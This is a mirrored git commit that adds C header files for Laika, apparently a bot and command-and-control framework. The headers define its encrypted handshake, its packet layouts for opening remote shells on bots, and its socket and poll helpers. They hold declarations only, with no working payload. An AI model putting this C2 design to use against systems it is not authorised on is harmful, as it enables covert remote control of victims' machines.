1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-23 23:00:20 +00:00

Refactoring: reorganized files

This commit is contained in:
2022-09-01 20:00:37 -05:00
parent 169313ee39
commit b23057b219
52 changed files with 639 additions and 557 deletions

128
lib/include/net/lpacket.h Normal file
View File

@@ -0,0 +1,128 @@
#ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H
#include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
#define LAIKA_HANDSHAKE_SALT_LEN 32
#define LAIKA_PING_INTERVAL 5000
/*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
sent
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
{
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
}
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum
{
/* =======================================[[ Peer ]]======================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ,
/* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PEER_LOGIN_REQ,
/* second packet sent by peer & received by cnc there is no response packet. the socket
connection will be closed if an unexpected peer type is provided. this is to prove that the peer
is the public key they say they are. */
/* layout of LAIKAPKT_PEER_LOGIN_REQ
* uint8_t peerType;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
LAIKAPKT_SHELL_OPEN,
/* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id;
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_SHELL_CLOSE,
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id;
*/
LAIKAPKT_SHELL_DATA,
/* layout of LAIKAPKT_SHELL_DATA
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
/* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
/* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
/* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
* open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_MAXNONE
};
typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif

85
lib/include/net/lpeer.h Normal file
View File

@@ -0,0 +1,85 @@
#ifndef LAIKA_PEER_H
#define LAIKA_PEER_H
#include "core/lsodium.h"
#include "laika.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
typedef enum
{
PEER_PEER, /* unlogged-in peer */
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication (unused) */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
typedef enum
{
OS_UNKNWN,
OS_WIN,
OS_LIN
} OSTYPE;
#ifdef _WIN32
# define LAIKA_OSTYPE OS_WIN
#else
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
#endif
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo
{
PeerPktHandler handler;
LAIKAPKT_SIZE size;
bool variadic;
};
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer
{
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t salt[LAIKA_HANDSHAKE_SALT_LEN]; /* salt passed from the cnc's handshake response */
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
OSTYPE osType;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
};
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt);
void laikaS_genSalt(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endVarPacket(struct sLaika_peer *peer);
bool laikaS_handlePeerIn(struct sLaika_socket *sock);
bool laikaS_handlePeerOut(struct sLaika_socket *sock);
#endif

View File

@@ -0,0 +1,50 @@
#ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H
#include "core/hashmap.h"
#include "core/lmem.h"
#include "laika.h"
#include "net/lsocket.h"
#include <stdbool.h>
/* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8
struct sLaika_pollEvent
{
struct sLaika_socket *sock;
bool pollIn;
bool pollOut;
};
struct sLaika_pollList
{
struct hashmap *sockets;
/* holds sockets which have data needed to be sent */
laikaM_newVector(struct sLaika_socket *, outQueue);
laikaM_newVector(struct sLaika_pollEvent, revents);
#ifdef LAIKA_USE_EPOLL
/* epoll */
struct epoll_event ev, ep_events[MAX_EPOLL_EVENTS];
SOCKET epollfd;
#else
/* raw poll descriptor */
laikaM_newVector(PollFD, fds);
#endif
};
void laikaP_initPList(struct sLaika_pollList *pList);
void laikaP_cleanPList(struct sLaika_pollList *pList); /* free's all members */
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_resetOutQueue(struct sLaika_pollList *pList);
void laikaP_flushOutQueue(struct sLaika_pollList *pList);
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *nevents);
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt);
#endif

125
lib/include/net/lsocket.h Normal file
View File

@@ -0,0 +1,125 @@
#ifndef LAIKA_SOCKET_H
#define LAIKA_SOCKET_H
/* clang-format will change the order of the included windows headers, this BREAKS THINGS.
for now, make clang ignore this section */
/* clang-format off */
/* socket/winsock headers */
#ifdef _WIN32
/* windows */
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <winsock2.h>
# include <windows.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
#else
/* posix platform */
# include <arpa/inet.h>
# include <netdb.h>
# include <netinet/in.h>
# include <poll.h>
# include <sys/socket.h>
# include <sys/types.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <errno.h>
# include <unistd.h>
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
#endif
#include "laika.h"
#include "core/lsodium.h"
#include "core/lmem.h"
#include <fcntl.h>
#include <stdbool.h>
/* clang-format on */
typedef enum
{
RAWSOCK_OK,
RAWSOCK_ERROR,
RAWSOCK_CLOSED,
RAWSOCK_POLL
} RAWSOCKCODE;
typedef bool (*pollEvent)(struct sLaika_socket *sock);
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
struct sLaika_socket
{
SOCKET sock; /* raw socket fd */
pollFailEvent onPollFail;
pollEvent onPollIn;
pollEvent onPollOut;
void *uData; /* passed to onPollFail */
laikaM_newVector(uint8_t, outBuf); /* raw data to be sent() */
laikaM_newVector(uint8_t, inBuf); /* raw data we recv()'d */
bool flipEndian;
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
};
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
bool laikaS_isBigEndian(void);
void laikaS_init(void);
void laikaS_cleanUp(void);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData);
void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock,
size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock,
size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* writes INT, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
#endif